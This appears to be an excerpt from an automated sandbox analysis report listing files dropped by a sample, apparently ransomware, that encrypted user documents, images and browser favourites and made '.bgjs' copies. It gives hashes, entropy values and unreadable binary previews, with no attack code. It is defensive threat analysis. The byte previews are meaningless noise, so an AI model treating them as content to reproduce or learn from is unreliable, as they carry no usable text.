_>.X.!..<x...y4..e.A...R.w..L~.`..p.>L-.].yXF.+.+Nk-...,..].{%%U..

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8810907691308065
Encrypted:	false
SSDEEP:	24:mzF9Wd4ErgRLmha6bFwq4MlLjgPBex8SdhMLck4wm1mNbwhEaibD:Q9dErgRSxdDjgP4x82O1JhD
MD5:	1441A9E21E0141520AA0A57105A7844A
SHA1:	343AC96E77BA1C13D27E7B3545715B0C1F82D483
SHA-256:	48E0871876BA19BFF37A86E4433098C7D95BD30E0D952CBDC8A9DE5EEE41AB6C
SHA-512:	9EB82773F7CF73700A825AAB617928DE7FB1142222B31818389BBB377E3C4E39B9885EE28E24FDE4435FF7C819D6130DCE578CE4B9AD326EEC476B84AA7D10A6
Malicious:	false
Preview:	NWTVC1..6+..`..S.].'..........K..'.. .Y..#.....{\yVq...<#8+v..D....].NW5..........:......T...w{.o....W.U/N.Q.T.F...>..".,eC../....%..mq.W;1. ...[H.f.).M...(\..A.k4..Y..l..i..r..:7.h..J?....9.E.+....z....I..y.u.]..(...\..v...l..V..~JEA.g.....+E..y.T.....aL.:....y.....\11...l[v9..Z?.x\|..i.=.R.?...Gu..>....Z.Q...I.y.......M.$.g...j....F...\#50.M.T.(.n.)../<....../....}.6....tF..Q........p..4....'..?.sA\|LD4.5K..)......{....^..rR.J......... .dsU......lb...M.J...@.C...U\.z....7L.0......&.2F.,.[]\....Y..t....2.....]&.QL...._.t.....[@f.....v..\3u8..$C......u..Cf.dy.C\...I.H.....:....l...RH..^..f.._....;..c?...\..\..\f<.9..3....r1k..S.?)....S...'X.. ..1..Y....[p?.o-.t.......#@ ..f...B{.5.7@.<.0,`*.y..Ic.../.....5. .II..B..b.....V...J.j.........S..o.....K8......:.... ..........^....cu..U.)n.i.X]B......C....V../4W..m%.R'y.............~V}....b.....}....=(...."j..& _>.X.!..<x...y4..e.A...R.w..L~.`..p.>L-.].yXF.+.+Nk-...,..].{%%U..

C:\Users\user\Documents\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860657426841925
Encrypted:	false
SSDEEP:	24:7QvOARqlZEGvC50TZs5wqWfrJN7U7Ai/Z5gnwjUkwIKcWKgAThG0C+FbD:7QmIql+GvECUTOrJpbi/gwCxhKXD
MD5:	9E494094ACACD95B8A242E38961BCDE1
SHA1:	F6CA61750BEC4D1E8A844096E7BE68DF866D292B
SHA-256:	94A24FD7EA110BD170F66B228F412ED7C958DD4E2F5ED6409FC673D1A6D3A8BA
SHA-512:	286EC4CED26F323DF4825E069F293C0B8CC3AD3B3B8981B2550A59FB77F14CA63D5F7251FA614065F1E99406AB12181A9FC4016D93FFDCBDC5F16FA939007C8B
Malicious:	false
Preview:	XZXHA'..'.G\...y.........F...A.R.C....`.x..A....\}....d.....!..Pj.+.p..Rh..f......./..5Df.&......^V(..E].L..~MNz..;zb.ZJ...[.....,...f!.9sA..8.l6G<_]CE..].~..G......%..M......o....o-.....#...5......C.>1-..i.(.^.~.k.Q.>R..`...>.....X..n......_......K.}.....[Uf.,#a.....c..(.8...4o&..E.Jr...r$E......n.c.0'&..T...M.?L..6.?.O.R@)...7..g6..C..(.c..cCd_....!....x.Gi.o.......N/.w...4.I.".z.p.W1<....c..k..PG5.e.T...:....}3_BQ...}w..fa...W......h.y....I..N..fB....N...r.(.y.umU.:.Qp...>.....`..J...a..Q.V.....(.%.....~.W..&9.3.q.... ..$v.E.L............ja..P.....J(.D7...9.)..r.....>5...:..h....>.........#.$.."...fmDp.U..`d..F>.l;2.z..0&H...&......c.6.M....!A...N.B.2As.....u.L.o.t.T..p.....q...9.~XA...ob.?MZ....!._6...1TJ...]..Lz.........?.R..Z.\...Z../.x...i..T.Z..x.G..j.5..5....q..h....\.R...%..u..6...._..0.. . ,.vp.^.D...^\|D.r\B..%.......we06a.....Y.'.5......]..k.".:..GM..I-............5.I].6.M....lO.Cd..eZ....u.........{../.@........&S:A .

C:\Users\user\Documents\XZXHAVGRAG\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860657426841925
Encrypted:	false
SSDEEP:	24:7QvOARqlZEGvC50TZs5wqWfrJN7U7Ai/Z5gnwjUkwIKcWKgAThG0C+FbD:7QmIql+GvECUTOrJpbi/gwCxhKXD
MD5:	9E494094ACACD95B8A242E38961BCDE1
SHA1:	F6CA61750BEC4D1E8A844096E7BE68DF866D292B
SHA-256:	94A24FD7EA110BD170F66B228F412ED7C958DD4E2F5ED6409FC673D1A6D3A8BA
SHA-512:	286EC4CED26F323DF4825E069F293C0B8CC3AD3B3B8981B2550A59FB77F14CA63D5F7251FA614065F1E99406AB12181A9FC4016D93FFDCBDC5F16FA939007C8B
Malicious:	false
Preview:	XZXHA'..'.G\...y.........F...A.R.C....`.x..A....\}....d.....!..Pj.+.p..Rh..f......./..5Df.&......^V(..E].L..~MNz..;zb.ZJ...[.....,...f!.9sA..8.l6G<_]CE..].~..G......%..M......o....o-.....#...5......C.>1-..i.(.^.~.k.Q.>R..`...>.....X..n......_......K.}.....[Uf.,#a.....c..(.8...4o&..E.Jr...r$E......n.c.0'&..T...M.?L..6.?.O.R@)...7..g6..C..(.c..cCd_....!....x.Gi.o.......N/.w...4.I.".z.p.W1<....c..k..PG5.e.T...:....}3_BQ...}w..fa...W......h.y....I..N..fB....N...r.(.y.umU.:.Qp...>.....`..J...a..Q.V.....(.%.....~.W..&9.3.q.... ..$v.E.L............ja..P.....J(.D7...9.)..r.....>5...:..h....>.........#.$.."...fmDp.U..`d..F>.l;2.z..0&H...&......c.6.M....!A...N.B.2As.....u.L.o.t.T..p.....q...9.~XA...ob.?MZ....!._6...1TJ...]..Lz.........?.R..Z.\...Z../.x...i..T.Z..x.G..j.5..5....q..h....\.R...%..u..6...._..0.. . ,.vp.^.D...^\|D.r\B..%.......we06a.....Y.'.5......]..k.".:..GM..I-............5.I].6.M....lO.Cd..eZ....u.........{../.@........&S:A .

C:\Users\user\Downloads\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826426613591887
Encrypted:	false
SSDEEP:	24:N+X8HFHVRM9gLRSvfeOuXwH9MYO8IXJS5eqCVjsA6IpuMwMCsbD:cMHFHvM9gL8fNdIT8eloymMCmD
MD5:	75CC6DE572620A3304AD568B908556B6
SHA1:	89208F38A3A3D18DB55D66DDEA923EB53290E48E
SHA-256:	1835FB8741B4CC8B82A7A224AD0818B1EB6B38E6B2567B787A6C2C8BA72580A7
SHA-512:	39E6F3C4471DCBFBA3FD4CD7B08791BA35E4E98911A495DBA9A75E23F7D0A60DEB8A730CB9E23ED113A3CFB46BAF63BF522C2DB59430B03084CFAA39B4742DF3
Malicious:	false
Preview:	DVWHKTV.....Oeg.....m...F....:..n...u\| ....\.....f..i.v.X-k.......{...m...+..p......k.v.o.1..~5.........U..D..:{l.L..3-.,Ei.R.2Q&....i.nY.}..K.@..%2a..q..Z.uy+.U#9<8C{::.Y).K).}.T.._dU.$/X.7=...%sO.NT.....Y.....$...Zm.`.D{..E.K..._...u....S...}.a.`.?.<m.....V..!..k..I..D1...d.....P.Qi.)f.!...$..X...6\S{.q.#.K\.....~...]....W.PH....]..l.w.,.I..h...^[fFFA..2.S.V.....!.M...q........Vv%.j.&.$...3.............@6.z.ld.>VCR.}xK.I.[!.ql\..B...r^.vk.........i..X....*.-lW.q.z.Z.._LT...a..l...UA.G...q.3.J..O/.X)Gyy..].@.....1.n;Ob..-.!ltn...c.T......Y..._s...`5.........wi.jB.K...&p.h{.U..W...>.X-..j.i.{&........(t.....O.......C8F.=..p......d..e......]LE..vwlM..t.......dc.F7:..,....5..B../.m.oT......pz.m..l6..j.G....^=.o..}R.......p........_.2....-~l~}......l..A....>q.6..H.@.Jy.!..V....G...wL..`.O...n..}...?........0..4...(..+...&....z.)..Tp.)1qj'...E....S#..E~.&...J~#...d...E=Dr..i(b...T..0..W.\...;..1V..#<..p.+.e..]..f. ..5`.3..9.20..Z

C:\Users\user\Downloads\DVWHKMNFNN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826426613591887
Encrypted:	false
SSDEEP:	24:N+X8HFHVRM9gLRSvfeOuXwH9MYO8IXJS5eqCVjsA6IpuMwMCsbD:cMHFHvM9gL8fNdIT8eloymMCmD
MD5:	75CC6DE572620A3304AD568B908556B6
SHA1:	89208F38A3A3D18DB55D66DDEA923EB53290E48E
SHA-256:	1835FB8741B4CC8B82A7A224AD0818B1EB6B38E6B2567B787A6C2C8BA72580A7
SHA-512:	39E6F3C4471DCBFBA3FD4CD7B08791BA35E4E98911A495DBA9A75E23F7D0A60DEB8A730CB9E23ED113A3CFB46BAF63BF522C2DB59430B03084CFAA39B4742DF3
Malicious:	false
Preview:	DVWHKTV.....Oeg.....m...F....:..n...u\| ....\.....f..i.v.X-k.......{...m...+..p......k.v.o.1..~5.........U..D..:{l.L..3-.,Ei.R.2Q&....i.nY.}..K.@..%2a..q..Z.uy+.U#9<8C{::.Y).K).}.T.._dU.$/X.7=...%sO.NT.....Y.....$...Zm.`.D{..E.K..._...u....S...}.a.`.?.<m.....V..!..k..I..D1...d.....P.Qi.)f.!...$..X...6\S{.q.#.K\.....~...]....W.PH....]..l.w.,.I..h...^[fFFA..2.S.V.....!.M...q........Vv%.j.&.$...3.............@6.z.ld.>VCR.}xK.I.[!.ql\..B...r^.vk.........i..X....*.-lW.q.z.Z.._LT...a..l...UA.G...q.3.J..O/.X)Gyy..].@.....1.n;Ob..-.!ltn...c.T......Y..._s...`5.........wi.jB.K...&p.h{.U..W...>.X-..j.i.{&........(t.....O.......C8F.=..p......d..e......]LE..vwlM..t.......dc.F7:..,....5..B../.m.oT......pz.m..l6..j.G....^=.o..}R.......p........_.2....-~l~}......l..A....>q.6..H.@.Jy.!..V....G...wL..`.O...n..}...?........0..4...(..+...&....z.)..Tp.)1qj'...E....S#..E~.&...J~#...d...E=Dr..i(b...T..0..W.\...;..1V..#<..p.+.e..]..f. ..5`.3..9.20..Z

C:\Users\user\Downloads\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843153517271704
Encrypted:	false
SSDEEP:	24:07LEGPRpzHLquBnxc8YIsqyoxlRaAx6i00mySVPC29ywdzwXNg33H12/8GkYzALr:83P1Ny8dsqjxOAx6iJSwWxzwa33H0/8f
MD5:	75B9AE0AA8EB6987C57FFA10066A8EE1
SHA1:	12BBDD0DD374B57DAA23A461ED5E75D298161335
SHA-256:	5F44CC09F961A363E184AE17CCB23B1C91ED7CA4926A1582DD551669AE704202
SHA-512:	9B8530740E25393211BCBB7049119958079042B3C1255C6738AA27F2631F18970AE1B8522B620598F83BCB6C45E4B3AEFEA866539627832EFD502556136DE5F9
Malicious:	false
Preview:	VLZDG.......thsO(.!X.....[...^.1q.Idz.Wu../..n.W.....1.Y./.!..XI...f.6&...u.......<...._.2.........fu..%J.....q..\"gg6.....Rl9#....W.3t.yvW..E.>..+L......l.A.].T.P.....v";#s_...V..3.xE.._..i.z.(o...s.{"-L.o.sW..........7tPZcCr...VU...!z...9JW..i.).2..#...@Q..9....}f..:..<.!z4'.#:.K.m../.c4.....;.e..Kx4i7.Ocd..,.9..9...W....lA.m./.$.p.f....i./.7 P......:.....2 .+..^.?..rX..;....H..O..C...zX.S.P..b.}..u./%.=5g.x[==...<5VHQ...E... .S.K0).....(.qA.........'...G.j.MK.U.o.... .h9jR.....5...2.&.A..K.......Q.k..+J5...J.....I.[].w....ji7.8..4.pi.#.d.....D..W\|u\|S..N...%......k.MM.......{.3.8...{..X..c..........l(SV..p.=]...r..I..O...//...C..%..M....La7.x.wZ....k.J.yO......8>.-..n=l........+0.V........`.".....}.N:.K.........(d1mz.'.Hi......u......^.?..[b^...T*S.\|;.Y...J..}8..&%D=S.....6..:...1..yS&.. ...UV....G.._...F..P..\;7..Z.c....yF^i.K.....`..)....T.'.sEY...i.:X.8?+5..!..L..n0,....=./XV.9...m../...3hU@.\|..4.c..}.....Q.#6r..N.c?..gD.=G{!X.7v.nr.

C:\Users\user\Downloads\VLZDGUKUTZ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843153517271704
Encrypted:	false
SSDEEP:	24:07LEGPRpzHLquBnxc8YIsqyoxlRaAx6i00mySVPC29ywdzwXNg33H12/8GkYzALr:83P1Ny8dsqjxOAx6iJSwWxzwa33H0/8f
MD5:	75B9AE0AA8EB6987C57FFA10066A8EE1
SHA1:	12BBDD0DD374B57DAA23A461ED5E75D298161335
SHA-256:	5F44CC09F961A363E184AE17CCB23B1C91ED7CA4926A1582DD551669AE704202
SHA-512:	9B8530740E25393211BCBB7049119958079042B3C1255C6738AA27F2631F18970AE1B8522B620598F83BCB6C45E4B3AEFEA866539627832EFD502556136DE5F9
Malicious:	false
Preview:	VLZDG.......thsO(.!X.....[...^.1q.Idz.Wu../..n.W.....1.Y./.!..XI...f.6&...u.......<...._.2.........fu..%J.....q..\"gg6.....Rl9#....W.3t.yvW..E.>..+L......l.A.].T.P.....v";#s_...V..3.xE.._..i.z.(o...s.{"-L.o.sW..........7tPZcCr...VU...!z...9JW..i.).2..#...@Q..9....}f..:..<.!z4'.#:.K.m../.c4.....;.e..Kx4i7.Ocd..,.9..9...W....lA.m./.$.p.f....i./.7 P......:.....2 .+..^.?..rX..;....H..O..C...zX.S.P..b.}..u./%.=5g.x[==...<5VHQ...E... .S.K0).....(.qA.........'...G.j.MK.U.o.... .h9jR.....5...2.&.A..K.......Q.k..+J5...J.....I.[].w....ji7.8..4.pi.#.d.....D..W\|u\|S..N...%......k.MM.......{.3.8...{..X..c..........l(SV..p.=]...r..I..O...//...C..%..M....La7.x.wZ....k.J.yO......8>.-..n=l........+0.V........`.".....}.N:.K.........(d1mz.'.Hi......u......^.?..[b^...T*S.\|;.Y...J..}8..&%D=S.....6..:...1..yS&.. ...UV....G.._...F..P..\;7..Z.c....yF^i.K.....`..)....T.'.sEY...i.:X.8?+5..!..L..n0,....=./XV.9...m../...3hU@.\|..4.c..}.....Q.#6r..N.c?..gD.=G{!X.7v.nr.

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.468546996056425
Encrypted:	false
SSDEEP:	6:JAF7KRrq5Ktn1kPMGSwp/rasksWK+x7RCVwUIX3Y0NucaBYI4COIvpzfyoMWyc3X:pNt1kM0anx9CLIX3VYVB9Ld1M1+cii9a
MD5:	A025C30E358F323406423165BEEDB5E7
SHA1:	1C08AF5DA735AC5D67F5CA1EBA1C2F79E96431BC
SHA-256:	BA15EC8CF02E565333475E7F2F76744A437F482225BB45AFE9D323FA4111990F
SHA-512:	06FDD87D067C25A5A26AF0848B3ED3FA5BC295D86E75594C46CBDD2814AC46B8FC679E745136E75DC6F42043ED1D8FD54CC1A0F625D1A5AD68A8812C27CC52E2
Malicious:	false
Preview:	[{000..F....3.....^b... K..]....]...NV0......I!.6f?....K.<....q...p.(,.0.=..?......5.a...6....n.J[..=....@......AFq..os....yW.........7v.X.Vd..7.~.}]%....p`1k...=F....PO......[...d....._.W}u.,)..g.........`;.^0.Cd..J0v..y#....8?..B._..A..5....e).0.....`....,B...l..u.mX......u.5./.?uh%t..pKF0.4.n'@xf_+.w.r%..G..E.K......lh.1..o..n....A:..j.\|.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.468546996056425
Encrypted:	false
SSDEEP:	6:JAF7KRrq5Ktn1kPMGSwp/rasksWK+x7RCVwUIX3Y0NucaBYI4COIvpzfyoMWyc3X:pNt1kM0anx9CLIX3VYVB9Ld1M1+cii9a
MD5:	A025C30E358F323406423165BEEDB5E7
SHA1:	1C08AF5DA735AC5D67F5CA1EBA1C2F79E96431BC
SHA-256:	BA15EC8CF02E565333475E7F2F76744A437F482225BB45AFE9D323FA4111990F
SHA-512:	06FDD87D067C25A5A26AF0848B3ED3FA5BC295D86E75594C46CBDD2814AC46B8FC679E745136E75DC6F42043ED1D8FD54CC1A0F625D1A5AD68A8812C27CC52E2
Malicious:	false
Preview:	[{000..F....3.....^b... K..]....]...NV0......I!.6f?....K.<....q...p.(,.0.=..?......5.a...6....n.J[..=....@......AFq..os....yW.........7v.X.Vd..7.~.}]%....p`1k...=F....PO......[...d....._.W}u.,)..g.........`;.^0.Cd..J0v..y#....8?..B._..A..5....e).0.....`....,B...l..u.mX......u.5./.?uh%t..pKF0.4.n'@xf_+.w.r%..G..E.K......lh.1..o..n....A:..j.\|.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4576881088825155
Encrypted:	false
SSDEEP:	12:ep85qJLXH8AqAqVP3gQ1mGORMM1+cii9a:L4BBqBxgLnMHbD
MD5:	F71D78028BDFE3B9910E0D712C93856E
SHA1:	906BE6E486DBB52029B85E2F4DE54258F76EDC48
SHA-256:	F5A022D376A06B357D9E9652B7716FCF6F7D6AF68DB744EA7A8A5D8B4E8EC029
SHA-512:	5666B597BEEB69B3D385BF46E323DBA0284336EEDDB0794E43797C1E4487F6AB12A73DE79AF73B0E394B1C3C2A33E68BF80B5C5A131A8B603049E0D72E0B5C9E
Malicious:	false
Preview:	[{000......l....`.{.iT....@.Q..!...9.(..a..r.Z...c`.....k..6aq.\|.B..FTf8.k.>..7f.y.u.g....!..0{....Z...Y...{u.......sj.9...!.....o..K.......~8.C>,!..y\Jb..Dr.O.a..g.<.q..v5.r6.FYe.Z...f[/.+PO[s....X.W\..N.%..=.'..vdM.&a....1..)14......$5...QX....C.....{_..w&..o.p..C..3F....9C..]..&.....U.a0.d..7.W.[@yg..y...8.Z...J....gW.`.-e4.\|=..o.!.#.*.R.k..^....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4576881088825155
Encrypted:	false
SSDEEP:	12:ep85qJLXH8AqAqVP3gQ1mGORMM1+cii9a:L4BBqBxgLnMHbD
MD5:	F71D78028BDFE3B9910E0D712C93856E
SHA1:	906BE6E486DBB52029B85E2F4DE54258F76EDC48
SHA-256:	F5A022D376A06B357D9E9652B7716FCF6F7D6AF68DB744EA7A8A5D8B4E8EC029
SHA-512:	5666B597BEEB69B3D385BF46E323DBA0284336EEDDB0794E43797C1E4487F6AB12A73DE79AF73B0E394B1C3C2A33E68BF80B5C5A131A8B603049E0D72E0B5C9E
Malicious:	false
Preview:	[{000......l....`.{.iT....@.Q..!...9.(..a..r.Z...c`.....k..6aq.\|.B..FTf8.k.>..7f.y.u.g....!..0{....Z...Y...{u.......sj.9...!.....o..K.......~8.C>,!..y\Jb..Dr.O.a..g.<.q..v5.r6.FYe.Z...f[/.+PO[s....X.W\..N.%..=.'..vdM.&a....1..)14......$5...QX....C.....{_..w&..o.p..C..3F....9C..]..&.....U.a0.d..7.W.[@yg..y...8.Z...J....gW.`.-e4.\|=..o.!.#.*.R.k..^....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.486082636478383
Encrypted:	false
SSDEEP:	12:uLVrn+VKk0mGzDTTwb7hARWRLFbdqhzfkGbuu3I1+cii9a:wVQhGnTa7Y8VdqhAGbzzbD
MD5:	2260BA30B40CE07E3CFB1577F3187193
SHA1:	057350F846FFB86126649CD86B7F499F21459D7A
SHA-256:	3168FE2DE51CC669372A5AD3E0E18891B98B396BE1DEF7D4F963DF8ABCB9BB45
SHA-512:	BC6AD1E9E209BBBC4ED0C9EBEA48B88EA60C58EDA7C3100F93B23BE735F182E39D5328CAD00ADE075E241A2A51CFC9B94A448414B8B4BB8B8AE4ABD4BF516084
Malicious:	false
Preview:	[{000.....q.G1.s.^.[R.C..V(urX.R...u..*.].....T.."..p...0..3.:..c..C......M=>).?20.;dl.5..Zo...[7.1.h.n.....CHXC..s.}.....E.d...T .~'/...?.VZY^....K...ZM..P......yN...7^>.$<<!%..C2.m.r..Y.@U...:..Qg.....^D&..Vu..".c..>.O+..z.y;v....U..{.Yj.\G#..O.y..A...../9.f.0#nvw....;.o.U&.f...q.5.(..)..Vw^.g.V.e..t..)..?..1.).b@tN.k..u.....BLm~.5.Y4....C..C.=.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.486082636478383
Encrypted:	false
SSDEEP:	12:uLVrn+VKk0mGzDTTwb7hARWRLFbdqhzfkGbuu3I1+cii9a:wVQhGnTa7Y8VdqhAGbzzbD
MD5:	2260BA30B40CE07E3CFB1577F3187193
SHA1:	057350F846FFB86126649CD86B7F499F21459D7A
SHA-256:	3168FE2DE51CC669372A5AD3E0E18891B98B396BE1DEF7D4F963DF8ABCB9BB45
SHA-512:	BC6AD1E9E209BBBC4ED0C9EBEA48B88EA60C58EDA7C3100F93B23BE735F182E39D5328CAD00ADE075E241A2A51CFC9B94A448414B8B4BB8B8AE4ABD4BF516084
Malicious:	false
Preview:	[{000.....q.G1.s.^.[R.C..V(urX.R...u..*.].....T.."..p...0..3.:..c..C......M=>).?20.;dl.5..Zo...[7.1.h.n.....CHXC..s.}.....E.d...T .~'/...?.VZY^....K...ZM..P......yN...7^>.$<<!%..C2.m.r..Y.@U...:..Qg.....^D&..Vu..".c..>.O+..z.y;v....U..{.Yj.\G#..O.y..A...../9.f.0#nvw....;.o.U&.f...q.5.(..)..Vw^.g.V.e..t..)..?..1.).b@tN.k..u.....BLm~.5.Y4....C..C.=.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.499009396917713
Encrypted:	false
SSDEEP:	12:EzrJ9RFncpUDAael5eJMSQZr3VH1+cii9a:0JHhISAaUKMSQNObD
MD5:	BC42A6D86ABCECE60EFB1C30338BBE18
SHA1:	B9F90A128DED9FEE427A5B4F0C7E96629CEB24B3
SHA-256:	DA95F1580AE2D4589002FCFE93750806B6D3B02ACF4F2DD955029386585F366C
SHA-512:	F7BC83D4A24A575178A015F56A5C35D59B7ABD45171756D6E33C36E13E2FAC2EC9F1866B40D98002D284CF6F76765A1B142E730D3BEE96E1519693EBEBBFAE23
Malicious:	false
Preview:	[{000..z....[......qsm.t...."..mR.8....q..W.7..t.,E..H....f.J.S.......i..:.o...'%n...;.=...]T..~.R.z}..l....=.H.....*.....P..-.t..J.nN.H..........GL.....J...La.._.%..L/.v.....E..T.\..,."...\|.G..w.../)..w4...9....y..Lz....iq.....d.7....\|..+P.k]..W&c..9'..55+...........z..&.2k....U&DA.3..[....u.F..:.e......^.j.....O.m2.r...Tc.M....\|W.&.YZ.B..dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.499009396917713
Encrypted:	false
SSDEEP:	12:EzrJ9RFncpUDAael5eJMSQZr3VH1+cii9a:0JHhISAaUKMSQNObD
MD5:	BC42A6D86ABCECE60EFB1C30338BBE18
SHA1:	B9F90A128DED9FEE427A5B4F0C7E96629CEB24B3
SHA-256:	DA95F1580AE2D4589002FCFE93750806B6D3B02ACF4F2DD955029386585F366C
SHA-512:	F7BC83D4A24A575178A015F56A5C35D59B7ABD45171756D6E33C36E13E2FAC2EC9F1866B40D98002D284CF6F76765A1B142E730D3BEE96E1519693EBEBBFAE23
Malicious:	false
Preview:	[{000..z....[......qsm.t...."..mR.8....q..W.7..t.,E..H....f.J.S.......i..:.o...'%n...;.=...]T..~.R.z}..l....=.H.....*.....P..-.t..J.nN.H..........GL.....J...La.._.%..L/.v.....E..T.\..,."...\|.G..w.../)..w4...9....y..Lz....iq.....d.7....\|..+P.k]..W&c..9'..55+...........z..&.2k....U&DA.3..[....u.F..:.e......^.j.....O.m2.r...Tc.M....\|W.&.YZ.B..dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.876137436054765
Encrypted:	false
SSDEEP:	24:InLl6e04NoDymylHf2p2Q0sHRYhQPKORV+h/Cxchu7PvaoJ6WlrJp0Bh1WzjUbD:Ix6eDRhHf2pVxYqPpRZXTp0+jkh1WzqD
MD5:	2B5005E3F8BC5D77F1284B3832DA0653
SHA1:	67A8A470578B2D129867B0052DD31CF30D182D12
SHA-256:	C7FE12D2AD8E084F7BF7CA2EFB925B743A9F4766D7DB6B7D94008EAE786723C7
SHA-512:	9F8C803DCEE3D10693EC6B6D02CCFBEAB84F18F4FF3E93B17883AC88B2C29C8F05EA6756E88DAF93E12EC1C3AA8FBA1FB47661AD1EFBE5D8E87459C02FE7FE7C
Malicious:	false
Preview:	%!Ado.......#G..3?..............:>..#.F.Ke..E.u..#.\|k...;.6P.M.\..DuD.....L.md..X..}.!l..3..wJ.z..d2..H..4.B..>..CY.3.g.^.bn.kA..{I...d..X.=.I&........T...r...,.../E....BF~W2.. %.......iDtK.`.4#z..9..?...8e...\|.5..Xy.....]..V.n..1.....$....8......t.w.?'......;x6.b4V/!!.bOlYu..OD..w.DQ..l..O.....%..(.P.X..T....d..'...I...wc......TJ0tn..S...]..j/....iz../.."X.....".@<tpa..E........^a.<^.KD..R........P7.H.r.\|.d...r9Y...S5..5.L...f....[B..p.W.\|Htw...#.QY.";..uJ..rN..1..a....V...U..zm..{&.>0..L...V....".8.w.eG....B8..AqT.......k,v.9o.....z.oN..Wle'8$f...w..>TH..R.;..U...b....u.N......9.,#..6)...#...y...o..$\|I:.M..,"....j;..3...w....~..h..K 3......5E..a..o.`....hSW.(...Xu..M..![...'a.......~@3...).cC.f-...0.C.N..<..6....I#..../_..jtP..A.t/W..DS&...`U....4..........\............R...H.B.W.6b.}.s..-..!...z.U.Q.....%.._..Nm..#t..E.5q.@.\|gJ.c.......`.b...7.p9... .......~..b....F.....#...j's#W..d..(i..f,...+....].....S......G

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87815360136497
Encrypted:	false
